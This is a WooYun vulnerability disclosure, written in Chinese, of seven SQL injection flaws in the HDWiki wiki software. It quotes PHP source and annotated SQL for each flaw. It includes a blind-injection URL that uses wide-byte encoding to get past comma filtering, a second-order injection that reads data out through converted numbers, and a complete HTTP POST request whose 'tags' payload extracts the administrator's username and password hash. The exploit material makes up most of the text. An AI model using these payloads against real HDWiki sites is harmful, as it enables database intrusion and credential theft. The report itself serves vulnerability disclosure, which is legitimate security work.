WooYun-2014-88004:Hdwiki (20141205) 存在7处SQL注入漏洞(含之前处理不当安全的漏洞)

漏洞作者: ′雨。认证白帽子

来源:http://www.wooyun.org/bugs/wooyun-2014-088004

简要描述

看到更新了, 有几个老洞还没修复 也随便放到这里面来说了。

详细说明

0x01 在control/comment.php 中

function doreport(){

        $usernames=array();

        $id=intval($this->post['id']) ? $this->post['id'] : 0;

        $report=trim(htmlspecialchars(WIKI_CHARSET==GBK?string::hiconv($this->post['report']):$this->post['report']));

        if(empty($id)||empty($report)){

            $this->message(-1,'',2);

        }

        $users=$_ENV["user"]->get_users('groupid',4);

        if(!(bool)$users){

            $this->message(-2,'',2);

        }else{

            foreach($users as $user){

                $usernames[]=$user['username'];

            }

        }

        $sendto=join(',',$usernames);

        $subject=$this->view->lang['commentReportObj'];

        if($this->user['uid']=='0'){

            $from=$this->ip;

        }else{

            $from=$this->user['username'];

        }

        $comment=$this->db->fetch_by_field('comment','id',$id);// 这里出了个裤。

        if(!(bool)$comment){

            $this->message(-1,'',2);

        }

        $doc=$this->db->fetch_by_field('doc','did',$comment['did']);

        $doc['title'] =htmlspecialchars(stripslashes($doc['title']));

        $report=$this->view->lang['commentCom'].$this->view->lang['commentUser'].$comment['author'].'<br/>'

                .$this->view->lang['commentCom'].$this->view->lang['commentTime'].$this->date($comment['time'])."<br/>"

                .$this->view->lang['commentId'].$comment['id'].'<br/>'.$this->view->lang['commentsDocTitle'].$doc['title']."<br/>"

                .$this->view->lang['commentContent'].$comment['comment'].'<br/>'

                .$this->view->lang['commentReportReason'].$report;//这里把出库的$comment写到了$report中

        $sendarray = array(

                'sendto'=>$sendto,

                'subject'=>$subject,

                'content'=>$report,//带入数组

                'isdraft'=>1,

                'user'=>$this->user

            );

        $_ENV['pms']->send_ownmessage($sendarray);
function send_ownmessage($sendarray){

        $pmsresult = true;

        $isdraft = ($sendarray['isdraft'] === 'on')? 1 : 0;

        $userinfo = $this->check_recipient($sendarray['sendto'],1);

        $num = count($userinfo);

        if($num > 0){

            $pmsquery = "INSERT INTO ".DB_TABLEPRE."pms (`from`,`fromid`,`drafts`,`toid`,`to`,`subject`,`message`,`time`,`new`) VALUES ";

            for($i=0; $i<$num; $i++){

                $pmsquery .= "('".$sendarray['user']['username']."','".$sendarray['user']['uid']."','".$isdraft."','".$userinfo[$i]['uid']."','".$userinfo[$i]['username']."','".$sendarray['subject']."','".$sendarray['content']."','".$this->base->time."',1),";    //无过滤 又直接带入到了insert当中

            }

            $pmsquery = substr($pmsquery,0,-1) . ';';

            $pmsresult = $this->db->query($pmsquery);

        }

        return $pmsresult;

    }
词条的评论(共1条)返回词条

xiaoyu 时间:12-19 00:47

test'//我们随便找一个词条 然后我们自己先去评论一条 这里评论了test'

     // 然后点击举报 看看执行的语句  INSERT INTO wiki_pms (`from`,`fromid`,`drafts`,`toid`,`to`,`subject`,`message`,`time`,`new`) VALUES ('xiaoyu','2','0','1','admin','评论举报专用','评论作者:xiaoyu<br/>评论时间:12-19 00:47<br/>评论ID:8<br/>评论词条名:xiaoyuxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxasd<br/>评论内容:test'<br/>举报原因teet','1418921320',1) 

评论内容:test' 这里出库了。

这里的怎么回显让我纠结了很久。

INSERT INTO wiki_pms (from,fromid,drafts,toid,to,subject,message,time,new) VALUES ('xiaoyu','2','0','1','admin','评论举报专用','评论作者:xiaoyu<br/>评论时间:12-19 00:47<br/>评论ID:8<br/>评论词条名:xiaoyuxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxasd<br/>评论内容:test'<br/>举报原因teet','1418921320',1)

这里会把我们的message的内容回显出来,在发送邮件的那里。 这里是发给了管理员 但是我们的发件箱可以看到。 后面还剩了一个time 和 new 都是不会显示出来的而且hdwiki没mysql error 所以不会报错。二次注入的话盲注会很麻烦,所以像办法直接出数据。

INSERT INTO wiki_pms (from,fromid,drafts,toid,to,subject,message,time,new) VALUES ('xiaoyu','2','0','1','admin','评论举报专用','评论作者:xiaoyu<br/>评论时间:12-19 00:47<br/>评论ID:8<br/>评论词条名:a<br/>评论内容:test'+123,1,1)#<br/>举报原因teet','1418921320',1)

评论内容:test'+123 mysql +不能连接字符串 只能加一个数字。 加字符是加不进去的

一开始是想的hex 但是hex 也会有字符。 然后就是想的把16进制转换成10进制

10进制就没数字了撒 然后完整的就是

举报后 进入自己的发件箱

标题 收件人 时间

评论举报专用 admin 01-01 08:00

1919905652

转发 删除 关闭

可以看到这样的发件的。 看 1919905652 这个转16进制 得726f6f74 然后加上0x726f6f74

再把HEX编码回来 得root 这样一次截取的字符不能太多 太多了数字太大会报错。

0x02 control/doc.php

function docheckrecipient(){

        $sendto = $this->post['sendto'];

        if (WIKI_CHARSET == 'GBK'){

            $sendto = string::hiconv($sendto,'GBK','UTF-8',1);//转码

        }

        $send = explode(',',$sendto);

        if(count($send)>10){

            $this->message($this->view->lang['fullsend'],'',2);

        }

        $checkreturn = $_ENV['pms']->check_recipient($sendto,0);

        $message = ($checkreturn === true)? 'OK' : ($checkreturn.' '.$this->view->lang['loginTip3']);

        $this->message($message,'',2);

    }
function hiconv($str,$to='',$from='',$force=false) {

        if (empty($str)) return $str;

        if(!preg_match( '/[\x80-\xff]/', $str)) return $str; // is contain chinese char

        if(empty($to)){

            if ('utf-8' == strtolower(WIKI_CHARSET)){

                return $str;

            }

            $to=WIKI_CHARSET;

        }

        if(empty($from)){

            $from = ('gbk'==strtolower($to)) ? 'utf-8':'gbk';

        }

        $to=strtolower($to);

        $from=strtolower($from);

        //$isutf8=preg_match( '/^([\x00-\x7f]|[\xc0-\xdf][\x80-\xbf]|[\xe0-\xef][\x80-\xbf]{2}|[\xf0-\xf7][\x80-\xbf]{3})+$/', $str );

        $re = strlen($str) > 6 ? '/([\xe0-\xef][\x80-\xbf]{2}){2}/' : '/[\xe0-\xef][\x80-\xbf]{2}/';

        $isutf8 = preg_match($re, $str);

        //$force = (substr($to, 0, 3) == 'utf') ? true : $force;

        if(!$force && $isutf8 && $to=='utf-8' ) return $str;//当force为1的时候才不会return 这里的点force刚好为1

        if(!$force && !$isutf8 && $to=='gbk' ) return $str;

        if (function_exists('iconv')){

            $str = iconv($from, $to, $str);//转码 宽字节 绕过转义符

        }else{

            require_once(HDWIKI_ROOT.'/lib/Chinese.class.php');

            $ch = new chinese($from,$to);

            if('utf-8'==$from){

                $str = addslashes($ch->convert(stripslashes($str)));

            }else{

                $str = $ch->convert($str);

            }

        }

        return $str;

    }
function check_recipient($sendto, $type){

        $userinfos = array();

        $send = array_unique(explode(',', $sendto));//这里把逗号替换了 注定不能用逗号了。

        sort($send);

        $num = count($send);

        $sendto = str_replace(",", "','", $sendto);

        $query = $this->db->query("SELECT username,uid FROM ".DB_TABLEPRE."user WHERE username IN ('$sendto')");

        if($this->db->num_rows($query) == $num && $type != 1){

            return true;

        }

盲注之。

http://web/dan/hdwiki//index.php?pms-checkrecipient

sendto=a%E9%8C%A6%27) or CASE WHEN(substr((select username from wiki_user where uid=1) from 1 for 1) in (char(97))) THEN (1) ELSE (0) end limit 1#

//bypass逗号的盲注语句。

97对应的是a 当第一位是a的时候 返回ok

当不对应时 直接错误。 写个脚本直接跑 很简单的判断。

0x03 control/doc.php中

function dochangename(){

        $ajaxtitle = trim($this->post['newname']);

        if(string::hstrtoupper(WIKI_CHARSET)=='GBK'){

            $ajaxtitle=string::hiconv($ajaxtitle,'gbk','utf-8','true');//force为1 转码 绕过转义符

        }

        $title=string::substring(string::stripscript($_ENV['doc']->replace_danger_word(trim($ajaxtitle))),0,80);

        if(@!is_numeric($this->post['did'])){

            $this->message("-1","",2);

        }elseif($ajaxtitle!=string::stripscript($ajaxtitle)){

            $this->message("-3","",2);

        }elseif(!$title){

            $this->message("-4","",2);

        }elseif(@(bool)$this->db->fetch_by_field('doc','title',$title)){//这里带入查询

            $this->message("-2","",2);

        }elseif(@(bool)$this->db->fetch_by_field('synonym','srctitle',$title)){

            $this->message("-5","",2);

        }elseif($_ENV['doc']->change_name($this->post['did'],$title)){

            $_ENV['synonym']->synonym_change_doc($this->post['did'],$title);

            // ֪ͨ

            if(1 == $this->setting['cloud_search']) {

                // ༭ ֪ͨ

                $_ENV['search']->cloud_change(array('dids'=>$this->post['did'],'mode'=>'2'));

            }

这个跟上个差不多 就不多说了。

0x04 control/edition.php

function doremove(){

        $did=isset($this->post['did'])?$this->post['did']:$this->get[2];

        $eids=isset($this->post['eid'])?$this->post['eid']:array($this->get[3]);//post来

        foreach($eids as $eid){ 

            if(!is_numeric($eid)&&!is_numeric($did)){

//这里判断是不是数字 如果是不是数字的话 直接返回错误了。 但是这里有个问题是 当$eids为数组的时候才会进foreach 如果不是数组 那么就不会进这个判断 这里我们直接提交一个字符串

                $this->message($this->view->lang['parameterError'],'BACK',0);

            }

        }

        $result=$_ENV['doc']->remove_edition($eids, $did);//带入查询
function remove_edition($eid, $did=0){

        if(is_array($eid)){

            $eid=implode(",",$eid);

        }

        $sql="INSERT INTO ".DB_TABLEPRE."recycle (type,keyword,content,file,adminid,admin,dateline) values ";

        $query=$this->db->query("SELECT * FROM ".DB_TABLEPRE."edition WHERE eid IN ($eid)");//这里eid没单引号

        $delete_count = array();

        while($edition=$this->db->fetch_array($query)){

0x05 依旧control/edition.php

function doexcellent(){

        foreach(@$this->post['eid'] as $eid){

            if(!is_numeric($eid)){//一样的逻辑错误

                $this->message($this->view->lang['parameterError'],'BACK',0);

            }

        }

        $result=$_ENV['doc']->set_excellent_edition($this->post['eid']);
function set_excellent_edition($eid,$type=1){

        if(is_array($eid)){

            $eid=implode(",",$eid);

        }

        $type=(bool)$type?1:0;

        $this->db->query("UPDATE ".DB_TABLEPRE."edition SET excellent=$type WHERE eid IN ($eid)");//依旧没单引号 可注入

        return true;

跟上面个差不多 不多说了。

0x06 control/doc.php中

function docreate(){

        if(4 != $this->user['groupid'] && ($this->time-$this->user['regtime'] < $this->setting['forbidden_edit_time']*60)){

            $this->message($this->view->lang['editTimeLimit1'].$this->setting['forbidden_edit_time'].$this->view->lang['editTimeLimit2'],'BACK',0);

        }

        if($this->setting['verify_doc'] == -1) { //首次编辑审核

            if($this->setting['max_newdocs'] != 0 && $this->user['newdocs'] >= $this->setting['max_newdocs']) {

                $this->message('您的首次可创建或编辑词条数的数量已达最大值,请等待管理员审核', 'BACK', 0);

            }

        }

if($this->setting['checkcode']!=3 && $this->setting['doc_verification_create_code'] && strtolower($this->post['code'])!=$_ENV['user']->get_code()){

                $this->message($this->view->lang['codeError'],'BACK',0);

            }

            if(@trim($this->post['content'])==''[[email protected]](/cdn-cgi/l/email-protection)($this->post['title'])==''){

                $this->message($this->view->lang['contentIsNull'],'BACK',0);

            }

            $doc['title']=string::substring(string::stripscript($_ENV['doc']->replace_danger_word(trim($this->post['title']))),0,80);//这里关键点 对POST来的截取了字符 

这里大概的意思是 假如说一段代码截取4个字符 那么我们就提交一个aaa' 然后转义成aaa\' 截取字符后就是aaa\ 这里同理

            $_doc=$this->db->fetch_by_field('doc','title',$doc['title']);

            if((bool)$_doc && !empty($_doc['content'])){

                $this->message($this->view->lang['createDocTip5'],'BACK',0);

            }

            if(!(bool)$_ENV['category']->vilid_category($this->post['category'])){

                $this->message($this->view->lang['categoryNotExist'],'BACK',0);

            }

            if((bool)$this->post['summary']){

                $doc['summary']=trim(strip_tags($_ENV['doc']->replace_danger_word($this->post['summary'])));

            }

            $doc['did']=intval($this->post['did']);

            $doc['letter']=string::getfirstletter($this->post['title']);

            $doc['category']=$this->post['category'];

            //$doc['tags']=$_ENV['doc']->jointags($this->post['tags']);

            $doc['tags']=$this->post['tags'];

            $doc['tags']=$_ENV['doc']->replace_danger_word($doc['tags']);

            $doc['tags'] = htmlspecialchars(string::stripscript($doc['tags']));

            $doc['content'] = $_ENV['doc']->replace_danger_word($this->post['content']);

            $doc['content'] = preg_replace('/(<embed.*?(?:allowscriptaccess)=)\\\?([\'"]?)(\w*?)\\\?\2(.*?>)/i','$1$2never$2$4',$doc['content']);//将embed标签中的allowscriptaccess属性设置为never

            $doc['content'] = preg_replace('/(<embed(?:(?!allowscriptaccess).)+?)(>)/i','$1 allowscriptaccess="never" $2',$doc['content']);//将embed标签中如果不存在allowscriptaccess属性则添加属性并设为never

            $doc['content'] = addslashes(string::stripscript(stripslashes($doc['content'])));

            $doc['content'] = $this->setting['auto_picture']?$_ENV['doc']->auto_picture($doc['content'],$doc['did']):$doc['content'];

            $doc['summary'] = trim(strip_tags($_ENV['doc']->replace_danger_word($doc['summary'])));//去除敏感词

            $doc['summary'] = (bool)$doc['summary']?$doc['summary']:$doc['content'];

            $doc['summary'] = trim(string::convercharacter(string::substring(strip_tags($doc['summary']),0,100)));//去除换行符截断字符串

            $doc['summary'] = htmlspecialchars(addslashes(stripslashes(string::stripscript(strip_tags($doc['summary'])))));//去除特殊字符 去除javascript代码

            $doc['images']=util::getimagesnum($doc['content']);

            $doc['time']=$this->time;

            $doc['words']=string::hstrlen($doc['content']);

            $doc['visible']=$this->setting['verify_doc'] != 0 ? '0' : '1';

            if(strpos($this->user['regulars'], 'doc-immunity') === false && 4 != $this->user['groupid']) {

                if(!$_ENV['doc']->check_submit_interval($this->user['uid'])) {

                    if($this->setting['save_spam']) {

                        $doc['visible'] = 0;

                    } else {

                        $this->message(sprintf($this->view->lang['submit_interval_msg'], $this->setting['submit_min_interval']),"BACK",0);

                    }

                }

                if(!$_ENV['doc']->check_eng_pcnt($doc['content']) || !$_ENV['doc']->check_extlink_pcnt($doc['content'])) {

                    if($this->setting['save_spam']) {

                        $doc['visible'] = 0;

                    } else {

                        $this->message($this->view->lang['spam_msg'],"BACK",0);

                    }

                }

            }

            if(strpos($this->user['regulars'], 'doc-immunity') !== false || 4 == $this->user['groupid'] || !$this->setting['verify_doc'] || ($this->setting['verify_doc'] == -1 && $this->user['newdocs'] == -1)){

                $doc['visible'] = 1;

            }

            if($this->setting['verify_doc'] == -1) { //首次编辑审核

                if($this->user['newdocs'] != -1) {

                    $_ENV['user']->update_newdocs($this->user['uid'], +1);

                }

            }

            if($doc['visible'] == 1){

                $_ENV['user']->add_credit($this->user['uid'],'doc-create',$this->setting['credit_create'],$this->setting['coin_create']);

            }

            /*foreach($this->post['tags'] as $search_tags){

                $doc['search_tags'] .=string::convert_to_unicode($search_tags).";";

            }*/

            $did=$_ENV['doc']->add_doc($doc);//这里这里 带入入库入库了。

            $_ENV['user']->update_field('creates',$this->user['creates']+1,$this->user['uid']);

<code>function add_doc($doc) {

        $editions = ($this->base->setting['base_createdoc']==1)?1:0;

        $doc['title'] = trim($doc['title']);

        if ($doc['did']){

            $this->db->query("REPLACE INTO ".DB_TABLEPRE."doc

            (did,letter,title,tag ,summary ,content,author,authorid,time,lastedit,lasteditor,lasteditorid,visible,editions)

            VALUES (".$doc['did'].",'".$doc['letter']."','".$doc['title']."','".$doc['tags']."','".$doc['summary']."','".$doc['content']."',

            '".$this->base->user['username']."','".$this->base->user['uid']."',

            ".$doc['time'].",".$doc['time'].",'".$this->base->user['username']."','".$this->base->user['uid']."','".$doc['visible']."',$editions)");

            $did = $doc['did'];

            $this->db->query("DELETE FROM ".DB_TABLEPRE."autosave WHERE did=".$did." AND uid=".$this->base->user['uid']);

        }else{

            $this->db->query("INSERT INTO ".DB_TABLEPRE."doc

            (letter,title,tag ,summary ,content,author,authorid,time,lastedit,lasteditor,lasteditorid,visible,editions)

            VALUES ('".$doc['letter']."','".$doc['title']."','".$doc['tags']."','".$doc['summary']."','".$doc['content']."',

            '".$this->base->user['username']."','".$this->base->user['uid']."',

            ".$doc['time'].",".$doc['time'].",'".$this->base->user['username']."','".$this->base->user['uid']."','".$doc['visible']."',$editions)");

            $did = $this->db->insert_id();

            $this->add_doc_category($did, $doc['category']);

            $this->db->query("DELETE FROM ".DB_TABLEPRE."autosave WHERE did=".$did." AND uid=".$this->base->user['uid']);

        }

        if($this->base->setting['base_createdoc']==1){

            $this->db->query("INSERT INTO ".DB_TABLEPRE."edition

            (did,author,authorid,time,ip,title,tag,summary,content,words,images )

            VALUES ($did,'".$this->base->user['username']."','".$this->base->user['uid']."',

            '".$doc['time']."','".$this->base->ip."','".$doc['title']."','".$doc['tags']."','".$doc['summary']."','".$doc['content']."','".$doc['words']."','".$doc['images']."')");

        }

        return $did;

    }

$doc['title']."','".$doc['tags'] 刚好这截取字符的 后面跟的是一个post来的 那么就可以注入了。

后面看了下 这个洞竟然被提交过了 http://**.**.**.**/bugs/wooyun-2010-081667

但是我觉得xxx牛给的利用很不完美啊。 至少在我这个版本/* 是不成功的

在php中/ 能直接注释掉后面的东西 但是mysql很多版本都需要在后面接/才能注释掉

一开始我也在这语句上纠结了很久 我们先来看一下这个语句

REPLACE INTO wiki_doc

(did,letter,title,tag ,summary ,content,author,authorid,time,lastedit,lasteditor,lasteditorid,visible,editions)

VALUES (56,'x','xiaoyuxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxasd\',',user(),1,1,1,1,1,1,1,1#','asd','<p>asd<br /></p>',

'xiaoyu','2',

1418925356,1418925356,'xiaoyu','2','1',0)

是这样的 他换行了。 就是因为这个换行 让人蛋疼。

首先我们知道# -- 都是单行注释 这个多行注释/ 在mysql中又需要接/

后面的我们是不可控的 所以也没办法利用 这里我们还是得来接我们的单行注释

一共14个column 换行了后的有8个column 所以我们前面需要接6个column

56,'x','xiaoyuxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxasd\',' 这里是三个 所以我们构造一下

56,'x','xiaoyuxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxasd\',',1,1,1 这样就是6个了。 在1后面还需要构造一个, 为的就是和下面换行了的连接起来 然后再注释掉这一行后面的那么最终语句就是

REPLACE INTO wiki_doc

(did,letter,title,tag ,summary ,content,author,authorid,time,lastedit,lasteditor,lasteditorid,visible,editions)

VALUES (56,'x','xiaoyuxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxasd\',',concat(user(),0x23,version()),user(),(select concat(username,0x2c,password) from wiki_user where uid=1),#','asd','<p>asd<br /></p>',

'xiaoyu','2',

1418925356,1418925356,'xiaoyu','2','1',0)

POST /dan/hdwiki/index.php?doc-create HTTP/1.1

Host: web

User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:12.0) Gecko/20100101 Firefox/12.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

Proxy-Connection: keep-alive

Referer: http://web/dan/hdwiki/index.php?doc-create

Cookie: ECS[visit_times]=6; themeIndexTom=2; KT-GUID=KT-C3DD75C5698EA55255357D6602C6136C; KT-ADMIN=admin; 17cplastvisit=1418373539; 17cplastactivity=0; __utma=242480388.119574638.1418373557.1418373557.1418373557.1; __utmz=242480388.1418373557.1.1.utmccn=(direct)|utmcsr=(direct)|utmcmd=(none); hd_sid=7YD9xP; hd_auth=b37eKa64aWjTOOSABPRfh3bnxRh50jO7TfArgwNT1RGI1HzWq11B2XSpwCG%2BKaHUwNFm9NRHXZ2nR5JUNbvW

Content-Type: multipart/form-data; boundary=---------------------------41184676334

Content-Length: 1534

-----------------------------41184676334

Content-Disposition: form-data; name="did"

56

-----------------------------41184676334

Content-Disposition: form-data; name="section_id"

-----------------------------41184676334

Content-Disposition: form-data; name="create_submit"

1

-----------------------------41184676334

Content-Disposition: form-data; name="title"

xiaoyuxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxasd\

-----------------------------41184676334

Content-Disposition: form-data; name="category"

3

-----------------------------41184676334

Content-Disposition: form-data; name="content"

<p>asd<br /></p>

-----------------------------41184676334

Content-Disposition: form-data; name="letter"

asd

-----------------------------41184676334

Content-Disposition: form-data; name="tags"

,concat(user(),0x23,version()),user(),(select concat(username,0x2c,password) from wiki_user where uid=1),#

-----------------------------41184676334

Content-Disposition: form-data; name="code"

-----------------------------41184676334

Content-Disposition: form-data; name="publishsubmit"

·à2?

-----------------------------41184676334--

Content-Disposition: form-data; name="tags"

,user(),user(),user(),user(),1,1,1,1,1,1,1)#

-----------------------------491299511942

Content-Disposition: form-data; name="code"

-----------------------------491299511942

Content-Disposition: form-data; name="publishsubmit"

·à2?

-----------------------------491299511942--

成功执行。

直接出数据。

0x07 control/pms.php中

function doblacklist(){

        if(isset($this->post['blacklist'])){

            $blacklist = htmlspecialchars(string::stripscript($this->post['blacklist']));

            if(empty($blacklist)){

                $result = $_ENV['pms']->remove_blacklist($this->user['uid']);

            }else{

                $result = $_ENV['pms']->add_blacklist($blacklist,$this->user['uid']);
function add_blacklist($blacklist,$uid){

        return($this->db->query("REPLACE INTO ".DB_TABLEPRE."blacklist (uid,blacklist) VALUES('$uid','$blacklist')"));

    }//入库
function dobox(){

        $this->get[3] = empty($this->get[3]) ? NULL : $this->get[3];

        $page = max(1,isset($this->get[4]) ? $this->get[4] : $this->get[3]);

        $num = isset($this->setting['list_prepage'])?$this->setting['list_prepage']:20;

        $start_limit = ($page - 1) * $num;        

        $count = $_ENV['pms']->get_totalpms($this->user['uid'], $this->get[2]);//出库
function get_blacklist($uid){

        $user = $this->db->fetch_first("SELECT blacklist FROM ".DB_TABLEPRE."blacklist WHERE uid='".$uid."'");

        return $user['blacklist'];
$blackuser = str_replace(",","','",$blacklist);

                if($group){

                    $sqladd = ($group == 'owner') ? 'AND og=0' : 'AND og=1';

                }

                $query = "SELECT COUNT(*) num FROM ".DB_TABLEPRE."pms WHERE toid='$uid' AND delstatus!=2 AND drafts!=1 $sqladd AND `from`

这个老洞也没修复 http://**.**.**.**/bugs/wooyun-2010-067410 试试修复了把。

漏洞证明

修复方案

无尽的过滤。